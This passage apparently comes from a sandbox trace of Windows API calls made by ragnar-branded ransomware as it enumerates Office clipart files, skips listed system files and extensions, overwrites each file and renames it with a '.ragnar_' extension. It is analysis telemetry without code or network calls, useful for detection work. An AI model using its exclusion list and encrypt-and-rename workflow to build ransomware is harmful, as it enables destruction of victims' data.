nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0086.321] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0086.321] GetProcessHeap () returned 0x580000 [0086.321] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0086.321] CloseHandle (hObject=0xf4) returned 1 [0086.321] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0234376.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0234376.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0234376.WMF" [0086.321] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0234376.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0234376.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0234376.WMF.ragnar_FD7BD9FC" [0086.321] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0234376.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0234376.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0234376.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0234376.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0086.322] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660a4230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xcba0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0237225.WMF", cAlternateFileName="")) returned 1 [0086.322] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0086.322] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0237225.WMF" | out: lpString1="J0237225.WMF") returned="J0237225.WMF" [0086.322] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237225.WMF") returned=".WMF" [0086.322] lstrcmpiW (lpString1="J0237225.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0086.322] lstrcmpiW (lpString1="J0237225.WMF", lpString2="autorun.inf") returned 1 [0086.322] lstrcmpiW (lpString1="J0237225.WMF", lpString2="boot.ini") returned 1 [0086.322] lstrcmpiW (lpString1="J0237225.WMF", lpString2="bootfont.bin") returned 1 [0086.322] lstrcmpiW (lpString1="J0237225.WMF", lpString2="bootsect.bak") returned 1 [0086.322] lstrcmpiW (lpString1="J0237225.WMF", lpString2="bootmgr") returned 1 [0086.322] lstrcmpiW (lpString1="J0237225.WMF", lpString2="bootmgr.efi") returned 1 [0086.322] lstrcmpiW (lpString1="J0237225.WMF", lpString2="bootmgfw.efi") returned 1 [0086.322] lstrcmpiW (lpString1="J0237225.WMF", lpString2="desktop.ini") returned 1 [0086.322] lstrcmpiW (lpString1="J0237225.WMF", lpString2="iconcache.db") returned 1 [0086.322] lstrcmpiW (lpString1="J0237225.WMF", lpString2="ntldr") returned -1 [0086.322] lstrcmpiW (lpString1="J0237225.WMF", lpString2="ntuser.dat") returned -1 [0086.322] lstrcmpiW (lpString1="J0237225.WMF", lpString2="ntuser.dat.log") returned -1 [0086.322] lstrcmpiW (lpString1="J0237225.WMF", lpString2="ntuser.ini") returned -1 [0086.322] lstrcmpiW (lpString1="J0237225.WMF", lpString2="thumbs.db") returned -1 [0086.322] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0086.322] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0086.322] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0086.322] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0086.322] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0086.322] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0086.322] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0086.323] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237225.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0237225.wmf")) returned 0x20 [0086.323] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237225.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0237225.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0086.323] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=52128) returned 1 [0086.323] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xcb97, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.323] GetProcessHeap () returned 0x580000 [0086.323] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0086.323] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0086.325] VirtualAlloc (lpAddress=0x0, dwSize=0xcba0, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0086.326] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.326] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0086.326] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xcba0, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xcba0, lpOverlapped=0x0) returned 1 [0086.327] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0086.327] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xcba0, nNumberOfBytesToLockHigh=0x0) returned 1 [0086.328] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xcba0, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xcba0, lpOverlapped=0x0) returned 1 [0086.328] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xcba0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0086.328] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.328] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xcba0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.328] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0086.328] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0086.328] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0086.328] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0086.329] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0086.329] GetProcessHeap () returned 0x580000 [0086.329] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0086.329] CloseHandle (hObject=0xf4) returned 1 [0086.329] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237225.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237225.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237225.WMF" [0086.329] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237225.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237225.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237225.WMF.ragnar_FD7BD9FC" [0086.329] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237225.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0237225.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237225.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0237225.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0086.329] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24625400, ftCreationTime.dwHighDateTime=0x1be8fbc, ftLastAccessTime.dwLowDateTime=0x565f5550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x24625400, ftLastWriteTime.dwHighDateTime=0x1be8fbc, nFileSizeHigh=0x0, nFileSizeLow=0x5700, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0237228.WMF", cAlternateFileName="")) returned 1 [0086.329] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0086.329] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0237228.WMF" | out: lpString1="J0237228.WMF") returned="J0237228.WMF" [0086.329] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237228.WMF") returned=".WMF" [0086.329] lstrcmpiW (lpString1="J0237228.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0086.329] lstrcmpiW (lpString1="J0237228.WMF", lpString2="autorun.inf") returned 1 [0086.329] lstrcmpiW (lpString1="J0237228.WMF", lpString2="boot.ini") returned 1 [0086.330] lstrcmpiW (lpString1="J0237228.WMF", lpString2="bootfont.bin") returned 1 [0086.330] lstrcmpiW (lpString1="J0237228.WMF", lpString2="bootsect.bak") returned 1 [0086.330] lstrcmpiW (lpString1="J0237228.WMF", lpString2="bootmgr") returned 1 [0086.330] lstrcmpiW (lpString1="J0237228.WMF", lpString2="bootmgr.efi") returned 1 [0086.330] lstrcmpiW (lpString1="J0237228.WMF", lpString2="bootmgfw.efi") returned 1 [0086.330] lstrcmpiW (lpString1="J0237228.WMF", lpString2="desktop.ini") returned 1 [0086.330] lstrcmpiW (lpString1="J0237228.WMF", lpString2="iconcache.db") returned 1 [0086.330] lstrcmpiW (lpString1="J0237228.WMF", lpString2="ntldr") returned -1 [0086.330] lstrcmpiW (lpString1="J0237228.WMF", lpString2="ntuser.dat") returned -1 [0086.330] lstrcmpiW (lpString1="J0237228.WMF", lpString2="ntuser.dat.log") returned -1 [0086.330] lstrcmpiW (lpString1="J0237228.WMF", lpString2="ntuser.ini") returned -1 [0086.330] lstrcmpiW (lpString1="J0237228.WMF", lpString2="thumbs.db") returned -1 [0086.330] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0086.330] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0086.330] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0086.330] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0086.330] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0086.330] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0086.330] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0086.330] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237228.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0237228.wmf")) returned 0x20 [0086.330] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237228.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0237228.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0086.330] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=22272) returned 1 [0086.331] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x56f7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.331] GetProcessHeap () returned 0x580000 [0086.331] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0086.331] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0086.332] VirtualAlloc (lpAddress=0x0, dwSize=0x5700, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0086.332] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.332] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0086.332] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x5700, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x5700, lpOverlapped=0x0) returned 1 [0086.333] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0086.334] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x5700, nNumberOfBytesToLockHigh=0x0) returned 1 [0086.334] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x5700, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x5700, lpOverlapped=0x0) returned 1 [0086.334] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x5700, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0086.334] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.334] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x5700, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.334] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0086.334] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0086.334] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0086.334] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0086.334] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0086.334] GetProcessHeap () returned 0x580000 [0086.334] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0086.334] CloseHandle (hObject=0xf4) returned 1 [0086.335] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237228.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237228.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237228.WMF" [0086.335] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237228.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237228.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237228.WMF.ragnar_FD7BD9FC" [0086.335] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237228.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0237228.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237228.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0237228.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0086.335] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660a4230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x60c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0237336.WMF", cAlternateFileName="")) returned 1 [0086.335] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0086.335] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0237336.WMF" | out: lpString1="J0237336.WMF") returned="J0237336.WMF" [0086.335] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237336.WMF") returned=".WMF" [0086.335] lstrcmpiW (lpString1="J0237336.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0086.335] lstrcmpiW (lpString1="J0237336.WMF", lpString2="autorun.inf") returned 1 [0086.335] lstrcmpiW (lpString1="J0237336.WMF", lpString2="boot.ini") returned 1 [0086.335] lstrcmpiW (lpString1="J0237336.WMF", lpString2="bootfont.bin") returned 1 [0086.335] lstrcmpiW (lpString1="J0237336.WMF", lpString2="bootsect.bak") returned 1 [0086.335] lstrcmpiW (lpString1="J0237336.WMF", lpString2="bootmgr") returned 1 [0086.335] lstrcmpiW (lpString1="J0237336.WMF", lpString2="bootmgr.efi") returned 1 [0086.336] lstrcmpiW (lpString1="J0237336.WMF", lpString2="bootmgfw.efi") returned 1 [0086.336] lstrcmpiW (lpString1="J0237336.WMF", lpString2="desktop.ini") returned 1 [0086.336] lstrcmpiW (lpString1="J0237336.WMF", lpString2="iconcache.db") returned 1 [0086.336] lstrcmpiW (lpString1="J0237336.WMF", lpString2="ntldr") returned -1 [0086.336] lstrcmpiW (lpString1="J0237336.WMF", lpString2="ntuser.dat") returned -1 [0086.336] lstrcmpiW (lpString1="J0237336.WMF", lpString2="ntuser.dat.log") returned -1 [0086.336] lstrcmpiW (lpString1="J0237336.WMF", lpString2="ntuser.ini") returned -1 [0086.336] lstrcmpiW (lpString1="J0237336.WMF", lpString2="thumbs.db") returned -1 [0086.336] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0086.336] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0086.336] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0086.336] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0086.336] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0086.336] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0086.336] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0086.336] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237336.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0237336.wmf")) returned 0x20 [0086.336] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237336.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0237336.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0086.336] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=24770) returned 1 [0086.336] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x60b9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.337] GetProcessHeap () returned 0x580000 [0086.337] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0086.337] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0086.339] VirtualAlloc (lpAddress=0x0, dwSize=0x60c2, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0086.340] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.340] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0086.340] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x60c2, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x60c2, lpOverlapped=0x0) returned 1 [0086.341] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0086.341] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x60c2, nNumberOfBytesToLockHigh=0x0) returned 1 [0086.341] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x60c2, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x60c2, lpOverlapped=0x0) returned 1 [0086.341] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x60c2, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0086.341] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.341] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x60c2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.341] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0086.341] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0086.342] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0086.342] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0086.342] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0086.342] GetProcessHeap () returned 0x580000 [0086.342] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0086.342] CloseHandle (hObject=0xf4) returned 1 [0086.342] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237336.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237336.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237336.WMF" [0086.342] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237336.WMF", 